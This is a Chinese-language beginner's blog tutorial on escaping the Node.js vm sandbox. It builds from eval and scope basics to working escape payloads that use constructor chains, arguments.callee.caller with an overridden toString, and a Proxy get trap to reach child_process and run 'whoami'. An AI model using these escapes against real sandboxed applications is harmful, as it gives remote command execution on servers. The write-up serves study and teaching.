初识vm沙箱逃逸

初学者的学习笔记,没啥含金量。


0x01 基础知识

JavaScriptNodejs之间有什么区别?

简单说就是JavaScript用于浏览器前端,Nodejs用在后端(服务器)。

什么是沙箱(sandbox)?

用于隔离恶意代码的环境,恶意代码即使在沙箱中被执行也没多大危害。

Nodejs中,我们可以通过引入vm模块来创建一个“沙箱”,但其实这个vm模块的隔离功能并不完善,还有很多缺陷,因此Node后续升级了vm,也就是现在的vm2沙箱,vm2引用了vm模块的功能,并在其基础上做了一些优化。

0x02 Node可以把字符串当代码执行

用一些参考文章中的栗子(在.js所在目录下创建一个age.txt):

1
var age = 18

创建hello,js

1
2
3
4
5
6
7
8
9
const fs = require('fs') //require函数引入Node.js的fs模块,并将其赋值给常量fs

let content = fs.readFileSync('age.txt', 'utf-8') //使用fs模块的readFileSync方法同步读取名为age.txt的文件,并将文件内容以UTF-8编码的形式存储在content变量中。

console.log(content)//打印content

eval(content)//执行!

console.log(age)//打印age

结果:

1
2
var age = 18
18

age.txt中的var age = 18被当成字符串执行了。

不过这里有个问题:如果在当前作用域(也叫上下文)下已经有了个age,那么会报错。举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const fs = require('fs')

let content = fs.readFileSync('age.txt', 'utf-8')

let age = 12

console.log(content)

eval(content)

console.log(age)
//结果:
var age = 18
undefined:1
var age = 18
^

SyntaxError: Identifier 'age' has already been declared

作用域是什么?举个栗子:

bye.js:

var age = 20

hello.js

1
2
3
4
5
6
const a = require("./bye") //require函数引入了当前目录下的名为bye的模块,并将其赋值给常量a

console.log(a.age)

//结果:
undefined

那么如何在一个文件中引入当前目录下,另一个文件中的元素?可以利用exports接口达到目的:

1
2
3
4
5
//bye.js

var age = 20

exports.age = age//exports是一个特殊的对象,用于将模块中的变量、函数或对象暴露给其他模块使用

hello.js

1
2
3
4
5
const a = require("./bye") 

console.log(a.age)

//20

若没有exports将需要的属性暴露出来,我们是访问不到另一个包内的属性的。包与包之间是互不相通的,即每一个包都有自己的作用域

vvv1

(这张图从别人那里偷的y1=bye,y2=hello)

global是什么?

在Node.js中,global是一个全局对象,类似于浏览器环境中的window对象。它可以在任何地方访问,无需引入或声明。

global对象包含了Node.js中的全局变量和全局函数。例如,consolesetTimeoutsetInterval等函数都是global对象的属性。可以通过global对象来访问这些全局函数和变量。

在Node.js中,global对象还可以用来创建全局变量。但是,为了避免全局变量的滥用,通常不推荐使用全局变量,而是使用模块的导出和导入机制来进行变量的共享和访问。

举个例子,我们在用console.log输出时并不需要写成global.console.log,其他常见全局变量还有process(一会逃逸要用到)。

看一个有关全局变量的栗子:

1
2
//bye.js
global.age = 20
1
2
3
4
5
6
7
8
//hello.js
const a = require("./bye")

console.log(age)

//输出:

20

这次我并没有利用exports导入age,但hello.js确实访问了另一个包的属性。

此外,还有一种方法new Function:

在Node.js中,new Function是一个构造函数,用于创建一个新的函数对象。它接受一个或多个字符串参数,其中最后一个参数是函数体,前面的参数是函数的参数列表。

使用new Function构造函数可以动态地创建一个函数对象,而不需要提前定义函数的名称或函数体。这种方式可以在运行时根据需要创建函数,具有一定的灵活性,比如:

1
2
const add = new Function('a', 'b', 'return a + b;');
console.log(add(2, 3)); // 输出: 5

0x03vm沙箱

因为沙箱的目的是要隔离恶意代码,那我们可以通过创建新作用域并让恶意代码在其中运行而不影响其它作用域,看几个常用的vm模块的API:

vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。

vvv2

1
2
3
4
5
6
7
const vm = require('vm');//导入Node,js的vm模块
let localVar = 'initial value';//定义变量localVar,赋值initial value
const vmResult = vm.runInThisContext('localVar = "vm";');//使用vm.runInThisContext方法在当前上下文中运行提供的代码字符串'localVar = "vm";'。该代码的作用是将变量localVar的值修改为'vm'。
console.log('vmResult:', vmResult);//输出
console.log('localVar:', localVar);
// vmResult: 'vm',
//localVar: 'initial value'

可以看到,在沙箱中把字符串当代码执行'localVar = "vm";',只影响沙箱这个作用域,对其它作用域没影响。

vm.createContext([sandbox]): 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

vvv3

1
2
3
4
5
6
7
8
9
const util = require('util');//导入util以使用inspect方法输出详细信息
const vm = require('vm');
global.globalVar = 3;//全局环境中定义一个全局变量globalVar,并赋值为3
const sandbox = { globalVar: 1 };//创建一个沙箱对象sandbox,其中定义了一个名为globalVar的属性,并赋值为1
vm.createContext(sandbox);//创建一个沙箱上下文,将沙箱对象sandbox作为参数传入,以便在沙箱中执行代码。
vm.runInContext('globalVar *= 2;', sandbox);//使用vm.runInContext方法在指定的沙箱上下文中执行代码字符串'globalVar *= 2;'。该代码的作用是将沙箱中的globalVar的值乘以2
console.log(util.inspect(sandbox)); // { globalVar: 2 }
console.log(util.inspect(globalVar)); // 3
//沙箱内无法对global有任何影响

vm.runInNewContext(code[, sandbox][, options]): creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。

vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。

new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
code:要被解析的JavaScript代码

1
2
3
4
5
6
7
8
9
10
11
const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }

script对象可以通过runInXXXContext运行。

0x03如何逃逸?

node执行RCE需要引入process对象进而导入child_process模块来执行命令。然而,process是挂载到global上的。前面的例子也说明了在沙箱中貌似不能访问到global,那么该如何逃逸?如何拿到process

vm模块是非常不严谨的,基于node原型链继承的特性,我们很容易就能拿到外部全局变量。比如:

1
2
3
4
5
6
7
8
9
10
"use strict";//严格模式
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);//获取全局对象 global
console.log(a.process);
//code参数最好用反引号包裹,这样可以使code更严格便于执行
/*
this.constructor:获取当前执行上下文的构造函数。
this.constructor.constructor:获取构造函数的构造函数,即原始的 Function 构造函数。
this.constructor.constructor('return global')():通过调用原始的 Function 构造函数,执行字符串 'return global',从而获取全局对象 global。
*/

结果:

vvv4

这里的this是指向传递到runInNewContext函数的一个对象,他是不属于沙箱内部环境的,访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。拿到process对象就可以执行命令了。

1
2
3
4
5
"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(a.mainModule.require('child_process').execSync('whoami').toString());//通过 a 对象中的 mainModule 属性,获取当前进程的主模块对象,然后使用 require 方法加载 child_process 模块,并调用 execSync 方法执行命令 whoami,获取当前进程的用户名,并将其转换为字符串后打印出来。
//结果:v1per3\rdj

一些其它情况:

1
2
3
4
5
6
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);//创建一个空对象 sandbox,作为沙盒环境的上下文对象。这里使用 Object.create(null) 创建一个没有原型链的纯净对象,以避免访问到原始的全局对象(它不会继承任何属性和方法)
const context = vm.createContext(sandbox);//vm.createContext 方法创建一个沙盒环境的上下文对象 context,并将之前创建的 sandbox 对象作为参数传入
const res = vm.runInContext(script, context);//在指定的沙盒环境中执行 JavaScript 代码。script 是之前定义的 JavaScript 代码字符串,context 是沙盒环境的上下文对象。执行结果将被赋值给 res 变量。
console.log('Hello ' + res)//打印输出字符串 'Hello ' 和 res 变量的值。

现在的this为null,并且也没有其他可以引用的对象,这时候想要逃逸要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。

我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法,这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。

举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require('vm');
const script =
`(() => {
const a = {} //创建空对象a
a.toString = function () {//定义了a中的toString方法
const cc = arguments.callee.caller;//通过 arguments.callee.caller 获取到调用该方法的函数的引用,在下面两行中用到
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);//res是一个恶意对象
console.log('Hello ' + res)//在这里调用了重写的toString方法

//Hello v1per3\rdj
//() => { ... } 这种形式表示一个没有参数的箭头函数,箭头函数可以用来定义匿名函数,它的语法比传统的函数定义更加简洁。

解释下这个方法:先对toString方法进行了重写(重写不改变方法何时被调用)。console.log('Hello ' + res)时(一个对象与字符串发生了关系),就会调用toString方法。(感觉有点像PHP中的魔术方法)

toString 方法中,通过 arguments.callee.caller 获取到调用该方法的函数的引用,并利用该引用获取到 process 对象,然后使用 child_process 模块的 execSync 方法执行命令 whoami,并将结果转换为字符串返回。实现了RCE

当然,有时即使我们重写了toString函数,但沙箱外并不存在去触发该函数的相关操作或根本不能重写函数,这时我们可以用Proxy来劫持属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require("vm");//导入vm模块

const script =
`
(() =>{ //
const a = new Proxy({}, { //代理了空对象并对get方法进行重写,代理对象是指通过使用ES6中的Proxy对象来包装另一个对象,从而可以拦截并重定义该对象的基本操作(比如属性查找、赋值、删除等)。代理对象允许我们在对目标对象进行操作时,可以自定义并添加额外的行为。
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()//这个()为了调用匿名函数
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

参考文章:

https://xz.aliyun.com/t/11859

https://blog.csdn.net/m0_62422842/article/details/128553953

[Proxy 和 Reflect - 掘金 (juejin.cn)](https://juejin.cn/post/6844904090116292616)


初识vm沙箱逃逸
http://example.com/2023/10/24/VM沙箱逃逸学习笔记/
作者
notbad3
发布于
2023年10月24日
许可协议